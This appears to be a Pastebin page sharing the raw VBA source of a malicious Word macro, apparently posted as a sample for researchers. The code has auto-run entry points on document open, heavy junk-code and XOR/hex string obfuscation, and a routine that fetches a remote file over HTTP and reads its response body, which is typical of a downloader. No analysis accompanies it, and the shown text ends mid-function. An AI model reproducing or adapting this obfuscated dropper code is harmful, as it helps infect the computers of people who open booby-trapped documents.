API tools faq
paste
Advertisement
dynamoo

Malicious Word macro

dynamoo
Nov 7th, 2014
439
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VBScript 50.25 KB | None | 0 0
raw download clone embed print report
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub Auto_Open()
  10. Dim pDsIZiSs As Integer
  11. For pDsIZiSs = 0 To 7
  12.  
  13. Dim XGgxgsRK As Integer
  14. If 913198 = 913198 + 1 Then End
  15. If 6145 < 93 Then
  16.         MsgBox (XORI(HexToString("0410383E3E3A0A3F535E"), HexToString("686A62")))
  17. End If
  18. If Len(XORI(HexToString("32011718120E2C32585A5C7D"), HexToString("6448736F63"))) = Len(XORI(HexToString("1D2D2A2F2B1C0204"), HexToString("6E6573436C"))) Then
  19.        MsgBox (XORI(HexToString("1C391E272B6B4D6978"), HexToString("594B6C48")))
  20. End If
  21. XGgxgsRK = 7
  22.  
  23. Do While XGgxgsRK < 79
  24. If 874488 = 874488 + 1 Then End
  25. If 8385 < 86 Then
  26.         MsgBox (XORI(HexToString("333E210E1030092F635A"), HexToString("6950685459786C")))
  27. End If
  28. If Len(XORI(HexToString("143C220A3D1C32034A564545"), HexToString("647673"))) = Len(XORI(HexToString("1E3A203500061F26"), HexToString("6C4A504C5161"))) Then
  29.        MsgBox (XORI(HexToString("0E3E2409396C77476A"), HexToString("4B4C5666")))
  30. End If
  31. DoEvents: XGgxgsRK = XGgxgsRK + 1
  32.  
  33. If 456718 = 456718 + 1 Then End
  34. If 7257 < 47 Then
  35.         MsgBox (XORI(HexToString("03122010023717165E73"), HexToString("44536D")))
  36. End If
  37. If Len(XORI(HexToString("23053E3C2B0A2007715E4941"), HexToString("5A54496F7879"))) = Len(XORI(HexToString("2E202F213B141F32"), HexToString("426D676E51"))) Then
  38.        MsgBox (XORI(HexToString("21060A0B0658455559"), HexToString("647478")))
  39. End If
  40. Loop
  41.  
  42.  
  43. If 982491 = 982491 + 1 Then End
  44. If 9566 < 98 Then
  45.         MsgBox (XORI(HexToString("3D1E0A1C033B052B6D7A"), HexToString("7251675949")))
  46. End If
  47. If Len(XORI(HexToString("1900072F3D2F1F04427D4043"), HexToString("734E7175"))) = Len(XORI(HexToString("200201062E371518"), HexToString("536E426F6242"))) Then
  48.        MsgBox (XORI(HexToString("14081516194F6F705B"), HexToString("517A67796B6F4E")))
  49. End If
  50. DoEvents
  51.  
  52. Next pDsIZiSs
  53.  
  54. Dim RFltRZzl As Integer
  55. If 292583 = 292583 + 1 Then End
  56. If 2822 < 59 Then
  57.         MsgBox (XORI(HexToString("3F3734242C223E0E4941"), HexToString("7A744C49")))
  58. End If
  59. If Len(XORI(HexToString("2D2B171B190F33047A5E6C65"), HexToString("49685A56"))) = Len(XORI(HexToString("3F0C0A0C063A2C3C"), HexToString("794D69"))) Then
  60.        MsgBox (XORI(HexToString("23360A0D166A444765"), HexToString("66447862644A65")))
  61. End If
  62. RFltRZzl = 6
  63.  
  64. Do While RFltRZzl < 49
  65. If 963732 = 963732 + 1 Then End
  66. If 6486 < 67 Then
  67.         MsgBox (XORI(HexToString("2110173009062B307943"), HexToString("72684D")))
  68. End If
  69. If Len(XORI(HexToString("18160A233219360362694472"), HexToString("56555A77444B70"))) = Len(XORI(HexToString("153925283C0D2B02"), HexToString("4251555950"))) Then
  70.        MsgBox (XORI(HexToString("010515213657466F65"), HexToString("4477674E")))
  71. End If
  72. DoEvents: RFltRZzl = RFltRZzl + 1
  73.  
  74. If 645238 = 645238 + 1 Then End
  75. If 6358 < 94 Then
  76.         MsgBox (XORI(HexToString("2E36151D011E323D7963"), HexToString("6C4E5267644C5A")))
  77. End If
  78. If Len(XORI(HexToString("212B043F3D2C2B0D42634059"), HexToString("7961697551"))) = Len(XORI(HexToString("263A0B2A00180005"), HexToString("56744C6C"))) Then
  79.        MsgBox (XORI(HexToString("1423183C027A70704B"), HexToString("51516A53705A")))
  80. End If
  81. Loop
  82.  
  83.  
  84. If 978733 = 978733 + 1 Then End
  85. If 6535 < 68 Then
  86.         MsgBox (XORI(HexToString("322E1C01011A2A3D4C42"), HexToString("706D78")))
  87. End If
  88. If Len(XORI(HexToString("26161E37322D00235A426C79"), HexToString("646C6D76544F"))) = Len(XORI(HexToString("3916370F1D330939"), HexToString("7461677A"))) Then
  89.        MsgBox (XORI(HexToString("3D162B352343594578"), HexToString("7864595A5163")))
  90. End If
  91. GZQXNGNMUTV
  92.  
  93. End Sub
  94. Sub AutoOpen()
  95. Dim nHNAhMYm As Integer
  96. For nHNAhMYm = 0 To 7
  97.  
  98. Dim IliBdOlk As Integer
  99. If 884677 = 884677 + 1 Then End
  100. If 8743 < 54 Then
  101.         MsgBox (XORI(HexToString("273A27250B0E3B0A4B66"), HexToString("546272535269")))
  102. End If
  103. If Len(XORI(HexToString("11381432211C362B6043654F"), HexToString("61527254797766"))) = Len(XORI(HexToString("3F281F2B0024130D"), HexToString("6E65556A746363"))) Then
  104.        MsgBox (XORI(HexToString("0A030B231C676E5058"), HexToString("4F71794C6E47")))
  105. End If
  106. IliBdOlk = 4
  107.  
  108. Do While IliBdOlk < 17
  109. If 722174 = 722174 + 1 Then End
  110. If 2656 < 44 Then
  111.         MsgBox (XORI(HexToString("2802170B09172E0F7955"), HexToString("4B636F63")))
  112. End If
  113. If Len(XORI(HexToString("1E030F0D240E043F5D42456D"), HexToString("687A7754"))) = Len(XORI(HexToString("1719222219160C3A"), HexToString("4E54506373"))) Then
  114.        MsgBox (XORI(HexToString("0A2313173D7140596E"), HexToString("4F516178")))
  115. End If
  116. DoEvents: IliBdOlk = IliBdOlk + 1
  117.  
  118. If 162279 = 162279 + 1 Then End
  119. If 8116 < 46 Then
  120.         MsgBox (XORI(HexToString("31002B2C3A3C0D2E7C71"), HexToString("495945")))
  121. End If
  122. If Len(XORI(HexToString("1034200933342F1E517B747A"), HexToString("656D63484343"))) = Len(XORI(HexToString("0E0205353A0A1820"), HexToString("47726B7256"))) Then
  123.        MsgBox (XORI(HexToString("2C0B302A0549586364"), HexToString("6979424577")))
  124. End If
  125. Loop
  126.  
  127.  
  128. If 254427 = 254427 + 1 Then End
  129. If 8383 < 86 Then
  130.         MsgBox (XORI(HexToString("2E0E141D21083D3A5274"), HexToString("79644D49785249")))
  131. End If
  132. If Len(XORI(HexToString("22190122062B35127F467962"), HexToString("4D51474674"))) = Len(XORI(HexToString("3514140D271C2533"), HexToString("476470"))) Then
  133.        MsgBox (XORI(HexToString("29311D1C214C624E52"), HexToString("6C436F7353")))
  134. End If
  135. DoEvents
  136.  
  137. Next nHNAhMYm
  138.  
  139. Dim rKbTlhRf As Integer
  140. If 267289 = 267289 + 1 Then End
  141. If 6362 < 28 Then
  142.         MsgBox (XORI(HexToString("11201F34250D2129627C"), HexToString("4579514E6B46")))
  143. End If
  144. If Len(XORI(HexToString("332F321B1D322E2C445A5540"), HexToString("6B6773"))) = Len(XORI(HexToString("280A1C0931051D0A"), HexToString("4B67687141"))) Then
  145.        MsgBox (XORI(HexToString("1F1D350D077A4E6643"), HexToString("5A6F476275")))
  146. End If
  147. rKbTlhRf = 1
  148.  
  149. Do While rKbTlhRf < 53
  150. If 274343 = 274343 + 1 Then End
  151. If 2385 < 41 Then
  152.         MsgBox (XORI(HexToString("290B1A37100E27165378"), HexToString("654A5354")))
  153. End If
  154. If Len(XORI(HexToString("051C1E133E3A253C7A5E6377"), HexToString("6B564F"))) = Len(XORI(HexToString("0E192108233C332B"), HexToString("414D4D63676A62"))) Then
  155.        MsgBox (XORI(HexToString("0A3A0035116F69537B"), HexToString("4F48725A63")))
  156. End If
  157. DoEvents: rKbTlhRf = rKbTlhRf + 1
  158.  
  159. If 182362 = 182362 + 1 Then End
  160. If 4523 < 91 Then
  161.         MsgBox (XORI(HexToString("2D2E1037383D072B7065"), HexToString("5A64724251")))
  162. End If
  163. If Len(XORI(HexToString("02300D2E3E1C280F667D547E"), HexToString("514A6C48"))) = Len(XORI(HexToString("0F043A123B0F0D27"), HexToString("695068535177"))) Then
  164.        MsgBox (XORI(HexToString("2C11071D3D4B684842"), HexToString("696375724F6B49")))
  165. End If
  166. Loop
  167.  
  168.  
  169. If 832229 = 832229 + 1 Then End
  170. If 2377 < 26 Then
  171.         MsgBox (XORI(HexToString("3408352020290E085C7D"), HexToString("7849616F4A")))
  172. End If
  173. If Len(XORI(HexToString("231E0328122B002770777451"), HexToString("4766614345"))) = Len(XORI(HexToString("313A3A2D2A3B050D"), HexToString("464B5349"))) Then
  174.        MsgBox (XORI(HexToString("3D0A052D0A58566359"), HexToString("78787742")))
  175. End If
  176.     Auto_Open
  177.  
  178. End Sub
  179. Sub Workbook_Open()
  180. Dim rlAwdhQo As Integer
  181. For rlAwdhQo = 0 To 9
  182.  
  183. Dim COFnbjyH As Integer
  184. If 265281 = 265281 + 1 Then End
  185. If 6342 < 28 Then
  186.         MsgBox (XORI(HexToString("3224172B0F050D295C69"), HexToString("666D5165647477")))
  187. End If
  188. If Len(XORI(HexToString("2A1C0E2C243F3C2D6E7A4B62"), HexToString("7250665948"))) = Len(XORI(HexToString("0337200625181C30"), HexToString("734D7074"))) Then
  189.        MsgBox (XORI(HexToString("001C330E1362644F60"), HexToString("456E41616142")))
  190. End If
  191. COFnbjyH = 7
  192.  
  193. Do While COFnbjyH < 78
  194. If 698662 = 698662 + 1 Then End
  195. If 6528 < 68 Then
  196.         MsgBox (XORI(HexToString("3D3F373422021C21634C"), HexToString("56795278566E")))
  197. End If
  198. If Len(XORI(HexToString("2C0B060013022A1E447F4268"), HexToString("6E79734B7551"))) = Len(XORI(HexToString("002A1A220407330F"), HexToString("4C524E5A71"))) Then
  199.        MsgBox (XORI(HexToString("083C2B1903746C6F78"), HexToString("4D4E59767154")))
  200. End If
  201. DoEvents: COFnbjyH = COFnbjyH + 1
  202.  
  203. If 516725 = 516725 + 1 Then End
  204. If 8757 < 53 Then
  205.         MsgBox (XORI(HexToString("1C243D11222721134363"), HexToString("505670")))
  206. End If
  207. If Len(XORI(HexToString("1E343901343C3D1D777B5F64"), HexToString("6E534E4E4D"))) = Len(XORI(HexToString("120113302F22132F"), HexToString("434A5168484751"))) Then
  208.        MsgBox (XORI(HexToString("153A15251D4D716946"), HexToString("5048674A6F6D")))
  209. End If
  210. Loop
  211.  
  212.  
  213. If 665192 = 665192 + 1 Then End
  214. If 7283 < 99 Then
  215.         MsgBox (XORI(HexToString("2409052D1E33271B556D"), HexToString("4964544B596951")))
  216. End If
  217. If Len(XORI(HexToString("3F15200B17331A1D74525A77"), HexToString("4545666F416477"))) = Len(XORI(HexToString("2220033019043322"), HexToString("7A5265"))) Then
  218.        MsgBox (XORI(HexToString("15381035044651716B"), HexToString("504A625A766670")))
  219. End If
  220. DoEvents
  221.  
  222. Next rlAwdhQo
  223.  
  224. Dim kfOKsWyT As Integer
  225. If 134677 = 134677 + 1 Then End
  226. If 1244 < 44 Then
  227.         MsgBox (XORI(HexToString("102800141E051419674B"), HexToString("7244555572")))
  228. End If
  229. If Len(XORI(HexToString("3A1E21010B2C3406706B7F5F"), HexToString("425A476B"))) = Len(XORI(HexToString("3735132822160B21"), HexToString("676D464E44"))) Then
  230.        MsgBox (XORI(HexToString("2014160A1444444745"), HexToString("656664")))
  231. End If
  232. kfOKsWyT = 1
  233.  
  234. Do While kfOKsWyT < 15
  235. If 142431 = 142431 + 1 Then End
  236. If 7263 < 75 Then
  237.         MsgBox (XORI(HexToString("291916102D201228666B"), HexToString("534C53")))
  238. End If
  239. If Len(XORI(HexToString("231924002A2839125C566B79"), HexToString("594A616467"))) = Len(XORI(HexToString("20183F3B2D30021A"), HexToString("786145706B5A74"))) Then
  240.        MsgBox (XORI(HexToString("271D0806104F5B4843"), HexToString("626F7A69")))
  241. End If
  242. DoEvents: kfOKsWyT = kfOKsWyT + 1
  243.  
  244. If 774442 = 774442 + 1 Then End
  245. If 7651 < 32 Then
  246.         MsgBox (XORI(HexToString("21012D262818122C5161"), HexToString("554769")))
  247. End If
  248. If Len(XORI(HexToString("2B09211F26350C015D656857"), HexToString("51664D6550"))) = Len(XORI(HexToString("273A3F0626210417"), HexToString("7569676173704C"))) Then
  249.        MsgBox (XORI(HexToString("0B26220D3C7471436F"), HexToString("4E545062")))
  250. End If
  251. Loop
  252.  
  253.  
  254. If 416577 = 416577 + 1 Then End
  255. If 1823 < 12 Then
  256.         MsgBox (XORI(HexToString("032735362303130C6841"), HexToString("744F50")))
  257. End If
  258. If Len(XORI(HexToString("1D123202161B283D7D5B5D7F"), HexToString("6A6548"))) = Len(XORI(HexToString("1B0D0A0E34382601"), HexToString("714B64594D7342"))) Then
  259.        MsgBox (XORI(HexToString("04340304006167504A"), HexToString("4146716B72")))
  260. End If
  261.     Auto_Open
  262.  
  263. End Sub
  264. Function RGULTDVHYVP(ByVal HJNRBWNZOJU As String, ByVal AKFQBNJCZGL As String) As Boolean
  265.      Dim LHKDBMKRMVZ As Object, CFZSBZFQHFL As Long, XGJFDCHXVVI As Long, WXGHYUAPXWY() As Byte
  266.  
  267. Dim jCKfgmPh As Integer
  268. For jCKfgmPh = 0 To 7
  269.  
  270. Dim YRqYDPvh As Integer
  271. If 344698 = 344698 + 1 Then End
  272. If 9939 < 65 Then
  273.         MsgBox (XORI(HexToString("3C1028202A3C1D11594E"), HexToString("69687842457655")))
  274. End If
  275. If Len(XORI(HexToString("083500213B242204577F4C43"), HexToString("634D7577"))) = Len(XORI(HexToString("39181D22001F1F3E"), HexToString("75794D51724673"))) Then
  276.        MsgBox (XORI(HexToString("031110291142674243"), HexToString("466362")))
  277. End If
  278. YRqYDPvh = 4
  279.  
  280. Do While YRqYDPvh < 19
  281. If 955332 = 955332 + 1 Then End
  282. If 6492 < 67 Then
  283.         MsgBox (XORI(HexToString("382E201D172F2835466B"), HexToString("6B436F7352")))
  284. End If
  285. If Len(XORI(HexToString("25351B38251A262B734A647F"), HexToString("4478504D"))) = Len(XORI(HexToString("11033C152804150B"), HexToString("466556"))) Then
  286.        MsgBox (XORI(HexToString("2007380921435B4454"), HexToString("65754A6653637A")))
  287. End If
  288. DoEvents: YRqYDPvh = YRqYDPvh + 1
  289.  
  290. If 776841 = 776841 + 1 Then End
  291. If 7665 < 17 Then
  292.         MsgBox (XORI(HexToString("2D320A32021C20135A54"), HexToString("5961476267")))
  293. End If
  294. If Len(XORI(HexToString("22193923220706245D7E6365"), HexToString("654A5253"))) = Len(XORI(HexToString("3C1C0C2B3B150B2C"), HexToString("567441486D7979"))) Then
  295.        MsgBox (XORI(HexToString("17273E03335473746D"), HexToString("52554C6C4174")))
  296. End If
  297. Loop
  298.  
  299.  
  300. If 227257 = 227257 + 1 Then End
  301. If 9921 < 83 Then
  302.         MsgBox (XORI(HexToString("09003F27083022085E7D"), HexToString("4B4E69")))
  303. End If
  304. If Len(XORI(HexToString("2B062F28251A27066B716147"), HexToString("4F645A495676"))) = Len(XORI(HexToString("1E3F123C3B042E37"), HexToString("6B7346684267"))) Then
  305.        MsgBox (XORI(HexToString("130523061176567048"), HexToString("5677516963")))
  306. End If
  307. DoEvents
  308.  
  309. Next jCKfgmPh
  310.  
  311. Dim EMWMaGTP As Integer
  312. If 583923 = 583923 + 1 Then End
  313. If 8629 < 52 Then
  314.         MsgBox (XORI(HexToString("33223E33022A2706524F"), HexToString("647A6A75")))
  315. End If
  316. If Len(XORI(HexToString("04312F37111B38375C4E4F7B"), HexToString("77485A6F76"))) = Len(XORI(HexToString("0335152C260C2A3B"), HexToString("47655A4345"))) Then
  317.        MsgBox (XORI(HexToString("37392127006B726953"), HexToString("724B5348")))
  318. End If
  319. EMWMaGTP = 6
  320.  
  321. Do While EMWMaGTP < 93
  322. If 376554 = 376554 + 1 Then End
  323. If 6729 < 61 Then
  324.         MsgBox (XORI(HexToString("02280C2306042C0E5D58"), HexToString("6A6A696D")))
  325. End If
  326. If Len(XORI(HexToString("260B3A26393F0B225B755352"), HexToString("656C4364637369"))) = Len(XORI(HexToString("2E0B340F07332A0A"), HexToString("6442664A7065796F6674"))) Then
  327.        MsgBox (XORI(HexToString("281F2835334D4C7B7B"), HexToString("6D6D5A5A41")))
  328. End If
  329. DoEvents: EMWMaGTP = EMWMaGTP + 1
  330.  
  331. If 919488 = 919488 + 1 Then End
  332. If 4785 < 93 Then
  333.         MsgBox (XORI(HexToString("3A012110140C1C396340"), HexToString("56785277556E")))
  334. End If
  335. If Len(XORI(HexToString("2103210F2E011E3540455B53"), HexToString("6E6B657774"))) = Len(XORI(HexToString("32063B1D0B25282B"), HexToString("414B514D5A7071"))) Then
  336.        MsgBox (XORI(HexToString("0B23070C37756F7054"), HexToString("4E5175634555")))
  337. End If
  338. Loop
  339.  
  340.  
  341. If 376754 = 376754 + 1 Then End
  342. If 6722 < 61 Then
  343.         MsgBox (XORI(HexToString("202C242A1E2B043E6872"), HexToString("48626A5944")))
  344. End If
  345. If Len(XORI(HexToString("3911211F39300912585E4C4A"), HexToString("7A79446F68"))) = Len(XORI(HexToString("193D2731012C0507"), HexToString("53746676"))) Then
  346.        MsgBox (XORI(HexToString("070620191362557357"), HexToString("4274527661")))
  347. End If
  348.     Set LHKDBMKRMVZ = CreateObject(XORI(HexToString("191B3C1E066B470C05281B1E0D39"), HexToString("544864534A5969")))
  349.  
  350.     LHKDBMKRMVZ.Open XORI(HexToString("160125"), HexToString("514471516E414F")), HJNRBWNZOJU, False
  351. Dim XhdIgGkC As Integer
  352. For XhdIgGkC = 0 To 4
  353.  
  354. Dim ikHqHtQl As Integer
  355. If 564721 = 564721 + 1 Then End
  356. If 3221 < 97 Then
  357.         MsgBox (XORI(HexToString("0E350D3E2B390C355069"), HexToString("4D7A446451")))
  358. End If
  359. If Len(XORI(HexToString("102D200F170713036F416944"), HexToString("496259755170"))) = Len(XORI(HexToString("1B270F32323F3913"), HexToString("7243465571"))) Then
  360.        MsgBox (XORI(HexToString("07393405306B674B63"), HexToString("424B466A")))
  361. End If
  362. ikHqHtQl = 2
  363.  
  364. Do While ikHqHtQl < 57
  365. If 458961 = 458961 + 1 Then End
  366. If 1338 < 96 Then
  367.         MsgBox (XORI(HexToString("2605200F31381E374249"), HexToString("526D457A70")))
  368. End If
  369. If Len(XORI(HexToString("082D122E11293F235752506B"), HexToString("64656368534C53"))) = Len(XORI(HexToString("2C2615082B231C20"), HexToString("4A495A6467"))) Then
  370.        MsgBox (XORI(HexToString("323E3700247A55566D"), HexToString("774C456F565A74")))
  371. End If
  372. DoEvents: ikHqHtQl = ikHqHtQl + 1
  373.  
  374. If 147278 = 147278 + 1 Then End
  375. If 1388 < 45 Then
  376.         MsgBox (XORI(HexToString("030C0D1D320203265D48"), HexToString("616F7953685447")))
  377. End If
  378. If Len(XORI(HexToString("2B20272624000E115476705E"), HexToString("444366"))) = Len(XORI(HexToString("3531202737350F21"), HexToString("655054745466"))) Then
  379.        MsgBox (XORI(HexToString("371D3907345855534E"), HexToString("726F4B68467874")))
  380. End If
  381. Loop
  382.  
  383.  
  384. If 288744 = 288744 + 1 Then End
  385. If 8646 < 89 Then
  386.         MsgBox (XORI(HexToString("1D353E2D233221217147"), HexToString("516C47754462")))
  387. End If
  388. If Len(XORI(HexToString("13370F061B282D287B5D7B7E"), HexToString("7A426943485046"))) = Len(XORI(HexToString("0F172011212F2133"), HexToString("75757378"))) Then
  389.        MsgBox (XORI(HexToString("26183C0E135055424B"), HexToString("636A4E61617074")))
  390. End If
  391. DoEvents
  392.  
  393. Next XhdIgGkC
  394.  
  395. Dim hnEdVCfc As Integer
  396. If 488993 = 488993 + 1 Then End
  397. If 7579 < 41 Then
  398.         MsgBox (XORI(HexToString("2B000A113221042B6070"), HexToString("6F4D635545")))
  399. End If
  400. If Len(XORI(HexToString("312535082A13072C746A7762"), HexToString("43517A4552"))) = Len(XORI(HexToString("2C020F02183D1B1F"), HexToString("784B6B6B4C54"))) Then
  401.        MsgBox (XORI(HexToString("0C163A261668684569"), HexToString("496448")))
  402. End If
  403. hnEdVCfc = 3
  404.  
  405. Do While hnEdVCfc < 79
  406. If 969433 = 969433 + 1 Then End
  407. If 3658 < 31 Then
  408.         MsgBox (XORI(HexToString("3714153436351F0F4D48"), HexToString("795979")))
  409. End If
  410. If Len(XORI(HexToString("1126262827252B3C71567D6F"), HexToString("445645634C56"))) = Len(XORI(HexToString("182E193A1A2A2139"), HexToString("596B41"))) Then
  411.        MsgBox (XORI(HexToString("14281B29334546707B"), HexToString("515A6946416567")))
  412. End If
  413. DoEvents: hnEdVCfc = hnEdVCfc + 1
  414.  
  415. If 911898 = 911898 + 1 Then End
  416. If 4719 < 93 Then
  417.         MsgBox (XORI(HexToString("3E1702393F251522445C"), HexToString("536D756A4F4B")))
  418. End If
  419. If Len(XORI(HexToString("1B2B390B3F153E044D7F7956"), HexToString("4A4F7A464E65"))) = Len(XORI(HexToString("201C28382911113C"), HexToString("44544A4D45"))) Then
  420.        MsgBox (XORI(HexToString("021E18281E4A664D4B"), HexToString("476C6A")))
  421. End If
  422. Loop
  423.  
  424.  
  425. If 265343 = 265343 + 1 Then End
  426. If 5618 < 41 Then
  427.         MsgBox (XORI(HexToString("2F361C0F20291D1E5965"), HexToString("4661504755664E")))
  428. End If
  429. If Len(XORI(HexToString("0633202A101B082555594D59"), HexToString("4142636C7861"))) = Len(XORI(HexToString("0932380D3602183B"), HexToString("59774F61"))) Then
  430.        MsgBox (XORI(HexToString("09342B3A01436D6778"), HexToString("4C4659557363")))
  431. End If
  432.     LHKDBMKRMVZ.Send XORI(HexToString("00"), HexToString("736F4151"))
  433.  
  434.  
  435. Dim tlxBJOui As Integer
  436. For tlxBJOui = 0 To 5
  437.  
  438. Dim xPfwAzIg As Integer
  439. If 963951 = 963951 + 1 Then End
  440. If 6223 < 37 Then
  441.         MsgBox (XORI(HexToString("11381F313B111006714E"), HexToString("767746")))
  442. End If
  443. If Len(XORI(HexToString("1D20362C3B35200E7D7F5772"), HexToString("4B6F44"))) = Len(XORI(HexToString("132E0B123705181D"), HexToString("714A5248"))) Then
  444.        MsgBox (XORI(HexToString("2C181A021B4A494C48"), HexToString("696A686D")))
  445. End If
  446. xPfwAzIg = 2
  447.  
  448. Do While xPfwAzIg < 67
  449. If 185345 = 185345 + 1 Then End
  450. If 8792 < 71 Then
  451.         MsgBox (XORI(HexToString("1B0013012C12111E6771"), HexToString("505142634E6568")))
  452. End If
  453. If Len(XORI(HexToString("16332930203703185A77507B"), HexToString("63426549"))) = Len(XORI(HexToString("0E36133E2700162D"), HexToString("6F64786F"))) Then
  454.        MsgBox (XORI(HexToString("36361F1C364D52654C"), HexToString("73446D")))
  455. End If
  456. DoEvents: xPfwAzIg = xPfwAzIg + 1
  457.  
  458. If 474812 = 474812 + 1 Then End
  459. If 4645 < 78 Then
  460.         MsgBox (XORI(HexToString("1E0D24063C2805336F7F"), HexToString("5A4B6D49")))
  461. End If
  462. If Len(XORI(HexToString("09171D3B383D0121645C6C6C"), HexToString("6A51695459796D"))) = Len(XORI(HexToString("271C3D1D18072901"), HexToString("657774"))) Then
  463.        MsgBox (XORI(HexToString("293922222B42504D6A"), HexToString("6C4B504D596271")))
  464. End If
  465. Loop
  466.  
  467.  
  468. If 832528 = 832528 + 1 Then End
  469. If 6173 < 54 Then
  470.         MsgBox (XORI(HexToString("18221F2D021921335355"), HexToString("4D5667624554")))
  471. End If
  472. If Len(XORI(HexToString("103501222138140C7059677E"), HexToString("4761554A"))) = Len(XORI(HexToString("3E2C0A14123F1507"), HexToString("797A7843676E5266"))) Then
  473.        MsgBox (XORI(HexToString("300B331A0B61545860"), HexToString("757941")))
  474. End If
  475. DoEvents
  476.  
  477. Next tlxBJOui
  478.  
  479. Dim lBVOGyGI As Integer
  480. If 812655 = 812655 + 1 Then End
  481. If 2817 < 84 Then
  482.         MsgBox (XORI(HexToString("17000C3F0F1D14215766"), HexToString("66756E514548")))
  483. End If
  484. If Len(XORI(HexToString("0422300C023B290F67747E60"), HexToString("454951"))) = Len(XORI(HexToString("2607111431040F3D"), HexToString("435043"))) Then
  485.        MsgBox (XORI(HexToString("141C1E21234E4D6F70"), HexToString("516E6C4E")))
  486. End If
  487. lBVOGyGI = 2
  488.  
  489. Do While lBVOGyGI < 59
  490. If 544781 = 544781 + 1 Then End
  491. If 8492 < 88 Then
  492.         MsgBox (XORI(HexToString("17300913252F29045A7B"), HexToString("4D79436343")))
  493. End If
  494. If Len(XORI(HexToString("27371C1A282411146846655D"), HexToString("48615175506F"))) = Len(XORI(HexToString("16042A2007052902"), HexToString("646F46"))) Then
  495.        MsgBox (XORI(HexToString("35161C2434494A5145"), HexToString("70646E4B46696B")))
  496. End If
  497. DoEvents: lBVOGyGI = lBVOGyGI + 1
  498.  
  499. If 585256 = 585256 + 1 Then End
  500. If 9552 < 51 Then
  501.         MsgBox (XORI(HexToString("343B350A331D1702474D"), HexToString("6C71796F546464")))
  502. End If
  503. If Len(XORI(HexToString("0C2527182C0C290B785F767D"), HexToString("68444B"))) = Len(XORI(HexToString("311E0A391500301F"), HexToString("774A495A636651"))) Then
  504.        MsgBox (XORI(HexToString("0E361C392B6B654F77"), HexToString("4B446E5659")))
  505. End If
  506. Loop
  507.  
  508.  
  509. If 568872 = 568872 + 1 Then End
  510. If 8644 < 89 Then
  511.         MsgBox (XORI(HexToString("3B2608073E20280E6655"), HexToString("55616E6B")))
  512. End If
  513. If Len(XORI(HexToString("0E3F2C021E0E2A0A7F725144"), HexToString("67464668704365"))) = Len(XORI(HexToString("1E341B2C3F2A011A"), HexToString("6442537453"))) Then
  514.        MsgBox (XORI(HexToString("1C0313360341785040"), HexToString("597161")))
  515. End If
  516.     WXGHYUAPXWY = LHKDBMKRMVZ.responseBody
  517.  
  518.  
  519. Dim DlnUuNRO As Integer
  520. For DlnUuNRO = 0 To 9
  521.  
  522. Dim nfqYQLHG As Integer
  523. If 212685 = 212685 + 1 Then End
  524. If 8611 < 52 Then
  525.         MsgBox (XORI(HexToString("3D070E160B3413084D76"), HexToString("6772787445")))
  526. End If
  527. If Len(XORI(HexToString("0A33103B153200047B41717C"), HexToString("794648"))) = Len(XORI(HexToString("2B3B3B2B212C073B"), HexToString("6F6A4D4F764255"))) Then
  528.        MsgBox (XORI(HexToString("160B063C0B54725855"), HexToString("537974")))
  529. End If
  530. nfqYQLHG = 5
  531.  
  532. Do While nfqYQLHG < 96
  533. If 192745 = 192745 + 1 Then End
  534. If 7765 < 71 Then
  535.         MsgBox (XORI(HexToString("383E053D16161E14454C"), HexToString("73786970")))
  536. End If
  537. If Len(XORI(HexToString("3809342D1D292B387B457F58"), HexToString("4D6E6E4373"))) = Len(XORI(HexToString("0F19112D3E050603"), HexToString("6E4C705452"))) Then
  538.        MsgBox (XORI(HexToString("2A3B081E364F685B50"), HexToString("6F497A7144")))
  539. End If
  540. DoEvents: nfqYQLHG = nfqYQLHG + 1
  541.  
  542. If 965559 = 965559 + 1 Then End
  543. If 9552 < 36 Then
  544.         MsgBox (XORI(HexToString("10232303233708275A59"), HexToString("78776B6B4C54")))
  545. End If
  546. If Len(XORI(HexToString("07372C0E340C2F0D797A527A"), HexToString("496348"))) = Len(XORI(HexToString("3925301D380B3C3F"), HexToString("784A78"))) Then
  547.        MsgBox (XORI(HexToString("353A370D3950696443"), HexToString("704845624B")))
  548. End If
  549. Loop
  550.  
  551.  
  552. If 682894 = 682894 + 1 Then End
  553. If 3667 < 39 Then
  554.         MsgBox (XORI(HexToString("0E0C063B2D3B2F326859"), HexToString("62596A41425159")))
  555. End If
  556. If Len(XORI(HexToString("13041109342A1F1A64735F67"), HexToString("466D50"))) = Len(XORI(HexToString("1613222A3C05001D"), HexToString("4C526C"))) Then
  557.        MsgBox (XORI(HexToString("2F3D3824186F6B6A4B"), HexToString("6A4F4A4B")))
  558. End If
  559. DoEvents
  560.  
  561. Next DlnUuNRO
  562.  
  563. Dim piSRwsbc As Integer
  564. If 638337 = 638337 + 1 Then End
  565. If 9973 < 65 Then
  566.         MsgBox (XORI(HexToString("2F130B0C0A0A18104540"), HexToString("4E7972796444")))
  567. End If
  568. If Len(XORI(HexToString("2D24192307052A2E72787872"), HexToString("464A4C44"))) = Len(XORI(HexToString("180D193F040C2D26"), HexToString("54796965"))) Then
  569.        MsgBox (XORI(HexToString("2B1626060142434F45"), HexToString("6E645469736262")))
  570. End If
  571. piSRwsbc = 2
  572.  
  573. Do While piSRwsbc < 65
  574. If 618387 = 618387 + 1 Then End
  575. If 8248 < 85 Then
  576.         MsgBox (XORI(HexToString("150F090123290920487E"), HexToString("4163794B5A47")))
  577. End If
  578. If Len(XORI(HexToString("3907082B3D1F3F2D77575B62"), HexToString("4A4E6E635A536C"))) = Len(XORI(HexToString("330329310D2C0838"), HexToString("46627A"))) Then
  579.        MsgBox (XORI(HexToString("073C23093363636F70"), HexToString("424E51664143")))
  580. End If
  581. DoEvents: piSRwsbc = piSRwsbc + 1
  582.  
  583. If 147412 = 147412 + 1 Then End
  584. If 5174 < 16 Then
  585.         MsgBox (XORI(HexToString("3432112C13380220467B"), HexToString("5651744A6377")))
  586. End If
  587. If Len(XORI(HexToString("022F34181C02242642525B58"), HexToString("4A7A666F6F6E73"))) = Len(XORI(HexToString("3D17211F08023A2A"), HexToString("566448"))) Then
  588.        MsgBox (XORI(HexToString("11191C1E1B6777754A"), HexToString("546B6E71694756")))
  589. End If
  590. Loop
  591.  
  592.  
  593. If 354162 = 354162 + 1 Then End
  594. If 6596 < 69 Then
